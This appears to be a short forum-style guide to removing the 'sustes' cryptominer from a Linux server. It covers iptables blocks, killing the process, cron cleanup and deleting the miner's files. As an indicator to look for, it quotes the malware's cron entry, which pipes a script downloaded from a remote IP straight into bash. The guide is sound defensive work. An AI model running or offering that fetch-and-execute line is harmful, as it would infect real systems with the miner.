Block the IP by the following commands.
iptables -A INPUT -s 192.99.142.246 -j DROP
iptables -A OUTPUT -s 192.99.142.246 -j DROP
iptables -A OUTPUT -j DROP -d 192.99.142.246
Now save the newly added IPtables configuration with below command.
/sbin/service iptables save
Additionally If you don't have any Application dependencies you can uninstall the below packages.
wget
curl
This is a cryptominer malware. You must delete it from your system, Process and files.
First delete this cron job. It runs under any user or root user, find the process called "sustes".
You can find this username with "top" or in output of this comand:
ps aux | grep sustes
Then kill with -9 the process sustes, use the below command
ps -ef | grep sustes
kill -9 <PID>
Then look at cron job of this user:
crontab -u username -l
If it has this string
* * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh > /dev/null 2>&1
then edit this crobjob
crontab -e -u username
or delete all by
crontab -r -u username
Then delete these files
/var/tmp/sustes
/var/tmp/sustes3
/var/tmp/wc.conf
/var/tmp/123